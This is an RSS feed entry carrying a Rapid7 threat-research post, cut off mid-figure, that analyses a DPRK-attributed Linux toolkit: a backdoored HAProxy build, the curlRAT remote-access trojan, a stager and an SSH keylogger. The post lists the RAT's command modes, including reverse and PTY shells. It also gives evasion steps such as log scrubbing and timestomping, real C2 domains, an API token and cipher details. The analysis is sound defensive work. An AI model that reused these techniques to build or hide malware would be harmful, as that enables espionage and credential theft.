<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Rapid7 Cybersecurity Blog ]]></title>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Sat, 05 Sep 2026 14:18:31 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/rss.xml" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[DPRK APTs: Ted backdoor and curlRAT target South Korean media and automotive sectors]]></title>
      <description><![CDATA[<h2><span style='font-size: undefined;'>Overview</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.</span></p><p><span style='font-size: undefined;'>Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by </span><a href="https://threatfox.abuse.ch/browse/tag/RicochetChollima/" target="_blank"><span style='font-size: undefined;'>ThreatFox</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/apt_37.txt" target="_blank"><span style='font-size: undefined;'>maltrail</span></a><span style='font-size: undefined;'>. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.</span></p><h2><span style='font-size: undefined;'>Technical analysis</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 </span><a href="https://www.enki.co.kr/en/media-center/blog/analysis-of-kimsuky-s-attack-on-a-south-korean-groupware-vendor-using-a-new-gomir-family-variant" target="_blank"><span style='font-size: undefined;'>Kimsuky</span></a><span style='font-size: undefined;'> has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal. </span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta751583dd18a172b/6a99bbfe49d4290742a52396/ted-backdoor-attack-chain.png" alt="ted-backdoor-attack-chain.png" caption="Figure 1: Attack chain partially reconstructed" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="ted-backdoor-attack-chain.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta751583dd18a172b/6a99bbfe49d4290742a52396/ted-backdoor-attack-chain.png" data-sys-asset-uid="blta751583dd18a172b" data-sys-asset-filename="ted-backdoor-attack-chain.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Attack chain partially reconstructed" data-sys-asset-alt="ted-backdoor-attack-chain.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Attack chain partially reconstructed</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.</span></p><h3><span style='font-size: undefined;'>SSH keylogger</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5</span></span><span style='font-size: undefined;'> intercepts legitimate users' plaintext passwords and saves them to an encrypted log file under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/lib/sshd/c8c68e629bba773a10ac80012d10bf19</span></span><span style='font-size: undefined;'>.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8df97a69c9aa427/6a99bcd460f795e0add78403/figure2.png" alt="figure2.png" caption="Figure 2: hardcoded master passwords in userauth_passwd()" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="figure2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8df97a69c9aa427/6a99bcd460f795e0add78403/figure2.png" data-sys-asset-uid="blta8df97a69c9aa427" data-sys-asset-filename="figure2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: hardcoded master passwords in userauth_passwd()" data-sys-asset-alt="figure2.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: hardcoded master passwords in userauth_passwd()</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>After checking that entered credentials are not equal to TA’s master passwords, </span><span style='font-size: undefined;'><span data-type='inlineCode'>userauth_passwd()</span></span><span style='font-size: undefined;'> proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd20e9581e90f00eb/6a99bd06d62e117e1ae3993a/fig3.png" alt="fig3.png" caption="Figure 3: Substitution cipher used to encrypt credentials" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig3.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd20e9581e90f00eb/6a99bd06d62e117e1ae3993a/fig3.png" data-sys-asset-uid="bltd20e9581e90f00eb" data-sys-asset-filename="fig3.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Substitution cipher used to encrypt credentials" data-sys-asset-alt="fig3.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Substitution cipher used to encrypt credentials</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.</span></p><h3><span style='font-size: undefined;'>CurlRAT Stager</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The stager </span><span style='font-size: undefined;'><span data-type='inlineCode'>5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91</span></span><span style='font-size: undefined;'> starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system's legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc45f8a3a17760dfb/6a99bd649ab7fd3b0723e93f/fig4.png" alt="fig4.png" caption="Figure 4: Stager configuration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig4.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc45f8a3a17760dfb/6a99bd649ab7fd3b0723e93f/fig4.png" data-sys-asset-uid="bltc45f8a3a17760dfb" data-sys-asset-filename="fig4.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Stager configuration" data-sys-asset-alt="fig4.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: Stager configuration</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of </span><span style='font-size: undefined;'><span data-type='inlineCode'>/usr/bin/ssh</span></span><span style='font-size: undefined;'>. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named </span><span style='font-size: undefined;'><span data-type='inlineCode'>/tmp/jasper-log</span></span><span style='font-size: undefined;'>, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are </span><span style='font-size: undefined;'><span data-type='inlineCode'>/root/.bash_history</span></span><span style='font-size: undefined;'> and the following under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/log</span></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'><span data-type='inlineCode'>messages</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>audit</span></span><span style='font-size: undefined;'>/</span><span style='font-size: undefined;'><span data-type='inlineCode'>audit.log</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>cmd.log</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>secure</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>syslog</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>auth.log</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61</span></span><span style='font-size: undefined;'> are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.</span></p><h3><span style='font-size: undefined;'>CurlRAT</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As for the stager, </span><span style='font-size: undefined;'><span data-type='inlineCode'>feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3</span></span><span style='font-size: undefined;'> starts by decrypting configuration strings using a 1-byte XOR key (0x58).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt47720b23053efeda/6a99bdeda163362e0d372f40/fig5.png" alt="fig5.png" caption="Figure 5: curlRAT configuration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig5.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt47720b23053efeda/6a99bdeda163362e0d372f40/fig5.png" data-sys-asset-uid="blt47720b23053efeda" data-sys-asset-filename="fig5.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: curlRAT configuration" data-sys-asset-alt="fig5.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: curlRAT configuration</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory </span><span style='font-size: undefined;'><span data-type='inlineCode'>snapd</span></span><span style='font-size: undefined;'> under</span><span style='font-size: undefined;'><span data-type='inlineCode'> /var/lib</span></span><span style='font-size: undefined;'>, where it attempts to load the victim ID from </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/lib/snapd/g580</span></span><span style='font-size: undefined;'>. If network failures were previously recorded, it reaches out to a secondary domain – </span><span style='font-size: undefined;'><span data-type='inlineCode'>img.darklights.store</span></span><span style='font-size: undefined;'> – authenticating with </span><span style='font-size: undefined;'><span data-type='inlineCode'>api_token/ecd427ea8330a4ff73618483e00b9b41</span></span><span style='font-size: undefined;'> and setting the User-token header to the victim ID to fetch updated configuration under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc</span></span><span style='font-size: undefined;'>, where it’s then copied into </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/lib/snapd/g105</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — </span><span style='font-size: undefined;'><strong>!</strong></span><span style='font-size: undefined;'> terminates the credential field,</span><span style='font-size: undefined;'><strong> #</strong></span><span style='font-size: undefined;'> marks the payload section, and </span><span style='font-size: undefined;'><strong>*</strong></span><span style='font-size: undefined;'> separates arguments — after which the credential field is compared against the local victim token.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If authentication succeeds, a single-character mode byte (ASCII </span><span style='font-size: undefined;'><strong>'0'</strong></span><span style='font-size: undefined;'> through </span><span style='font-size: undefined;'><strong>'5'</strong></span><span style='font-size: undefined;'>) preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.</span></p><p></p><table><colgroup data-width='1510'><col style="width:4.172185430463577%"/><col style="width:14.105960264900663%"/><col style="width:81.72185430463577%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'>Mode</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Function</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Description</span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>cmd execution</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>config write</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>staged payload drop</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>3</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>reverse shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>beacon</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Populates a 10 KB system-info structure and transmits it as a check-in beacon.</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>5</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>PTY shell</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A full interactive PTY shell, the payload consists of an ip:port.</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating "</span><span style='font-size: undefined;'><span data-type='inlineCode'>cron_3.0pl1-137ubuntu3</span></span><span style='font-size: undefined;'>", system hostname, ipv4 address, and the hardware/OS UUID (read from </span><span style='font-size: undefined;'><span data-type='inlineCode'>/sys/class/dmi/id/product_uuid</span></span><span style='font-size: undefined;'>), then applying MD5 hash and converting it to uppercase.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0&lt;=seed&lt;=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted </span><span style='font-size: undefined;'><span data-type='inlineCode'>application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d)</span></span><span style='font-size: undefined;'> which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file </span><span style='font-size: undefined;'><span data-type='inlineCode'>/usr/lib/libvirtlog.so.0</span></span><span style='font-size: undefined;'> to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/lib/snapd/g580</span></span><span style='font-size: undefined;'> to check if the node is active and compromised. Every hour the watchdog reads the pid at </span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/run/haproxy.pid</span></span><span style='font-size: undefined;'> and monitors the status of HAProxy by polling </span><span style='font-size: undefined;'><span data-type='inlineCode'>/proc/pid</span></span><span style='font-size: undefined;'>. The status can be one of the following codes:</span></p><ul><li style="direction: ltr;"><span style='font-size: undefined;'>0 (Started): Process transitioned from stopped to running</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>1 (Stopped): Process is no longer active in the kernel process table</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>2 (Restarted): PID file timestamp modified, and a new PID is detected</span></li><li style="direction: ltr;"><span style='font-size: undefined;'>3 (Reloaded): PID file timestamp modified, but the PID remained identical</span></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The status is then sent to the C2 endpoint “</span><span style='font-size: undefined;'><span data-type='inlineCode'>writeservice_info</span></span><span style='font-size: undefined;'>” using the custom crypto layer and the telemetry type set to 0 (Figure 6).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1b35acacad200f0d/6a99bed832b530f7916d215b/fig6.png" alt="fig6.png" caption="Figure 6: writeinfo_service monitoring HAProxy status" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig6.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1b35acacad200f0d/6a99bed832b530f7916d215b/fig6.png" data-sys-asset-uid="blt1b35acacad200f0d" data-sys-asset-filename="fig6.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: writeinfo_service monitoring HAProxy status" data-sys-asset-alt="fig6.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6: writeinfo_service monitoring HAProxy status</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as </span><span style='font-size: undefined;'><span data-type='inlineCode'>atd_</span></span><span style='font-size: undefined;'> routines to blend in during static analysis.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta908db9e3d87a4e2/6a99bf0e32b530b1bb6d2162/fig7.png" alt="fig7.png" caption="Figure 7: The two threads running curlRAT logic" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig7.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta908db9e3d87a4e2/6a99bf0e32b530b1bb6d2162/fig7.png" data-sys-asset-uid="blta908db9e3d87a4e2" data-sys-asset-filename="fig7.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7: The two threads running curlRAT logic" data-sys-asset-alt="fig7.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7: The two threads running curlRAT logic</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Below is the table summarizing the main RAT components.</span></p><p></p><table><colgroup data-width='1757'><col style="width:14.62720546385885%"/><col style="width:85.37279453614116%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'>Capability</span><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>Group</span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'>Functions</span><span style='color:rgb(60, 64, 67);font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>Identified</span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Reverse Shell / PTY</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>atd_reverse_try_root, atd_reverse_create_conn, atd_reverse_is_alive, atd_reverse_open_pty, atd_reverse_cleanup_tty, atd_reverse_open_term, atd_reverse_handle_sigs, atd_reverse_close_inherited_sockets</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 & Network Comms</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>atd_http_request, atd_response, atd_request, atd_download_to_file, atd_download_config, atd_encrypt_url, atd_decrypt_url, atd_check_haproxy, atd_write_callback</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Host Profiling & Recon</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>atd_get_hostname_info, atd_check_info, atd_get_ip_info, atd_get_system_info, atd_get_version_info, atd_get_machine_info, atd_get_service_info, atd_create_id, atd_get_id</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command Execution & Crypto</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>atd_run_shell, atd_run_cmd, atd_run_module, atd_base64_encode, atd_base64_decode, atd_md5</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Earlier version of the RAT hardcode C2 without using XOR encryption (Figure 8).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt89ccbe190af4d735/6a99bf445c31261e894400f6/fig8.png" alt="fig8.png" caption="Figure 8: Default configuration curlRAT 8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig8.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt89ccbe190af4d735/6a99bf445c31261e894400f6/fig8.png" data-sys-asset-uid="blt89ccbe190af4d735" data-sys-asset-filename="fig8.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Default configuration curlRAT 8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c" data-sys-asset-alt="fig8.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: Default configuration curlRAT 8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='font-size: undefined;'><span data-type='inlineCode'>atd_get_info()</span></span><span style='font-size: undefined;'> is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the </span><span style='font-size: undefined;'><span data-type='inlineCode'>atd_response</span></span><span style='font-size: undefined;'> routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt910c34bad4281748/6a99bf7248c29967bac6a1f9/image18.png" alt="image18.png" caption="  Figure 9: Recon module output sent to the C2" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image18.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt910c34bad4281748/6a99bf7248c29967bac6a1f9/image18.png" data-sys-asset-uid="blt910c34bad4281748" data-sys-asset-filename="image18.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Recon module output sent to the C2" data-sys-asset-alt="image18.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Recon module output sent to the C2</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>MODE</span></span><span style='font-size: undefined;'>, </span><span style='font-size: undefined;'><span data-type='inlineCode'>DELAY</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>SERVER_URL</span></span><span style='font-size: undefined;'> are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to </span><span style='font-size: undefined;'><span data-type='inlineCode'>img.worksongo.store</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>img.socialteams.store</span></span><span style='font-size: undefined;'> respectively.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>atd_encrypt_url</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>atd_decrypt_url</span></span><span style='font-size: undefined;'> leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" shared with the ssh keylogger.</span></p><h3><span style='font-size: undefined;'>Ted backdoor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The TA recompiled the HAProxy build 2.8.12 </span><span style='font-size: undefined;'><span data-type='inlineCode'>72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558</span></span><span style='font-size: undefined;'> (18MB) to include a custom plugin (named </span><span style='font-size: undefined;'><span data-type='inlineCode'>ted_plugin</span></span><span style='font-size: undefined;'>) leaving debug strings naming the backdoor.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb521a2240d97dd85/6a99bfd5923082231ec4bf1b/fig10.png" alt="fig10.png" caption="Figure 10: ted_plugin compiled as part of the source code" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fig10.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb521a2240d97dd85/6a99bfd5923082231ec4bf1b/fig10.png" data-sys-asset-uid="bltb521a2240d97dd85" data-sys-asset-filename="fig10.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: ted_plugin compiled as part of the source code" data-sys-asset-alt="fig10.png" data-sys-asset-position="none" 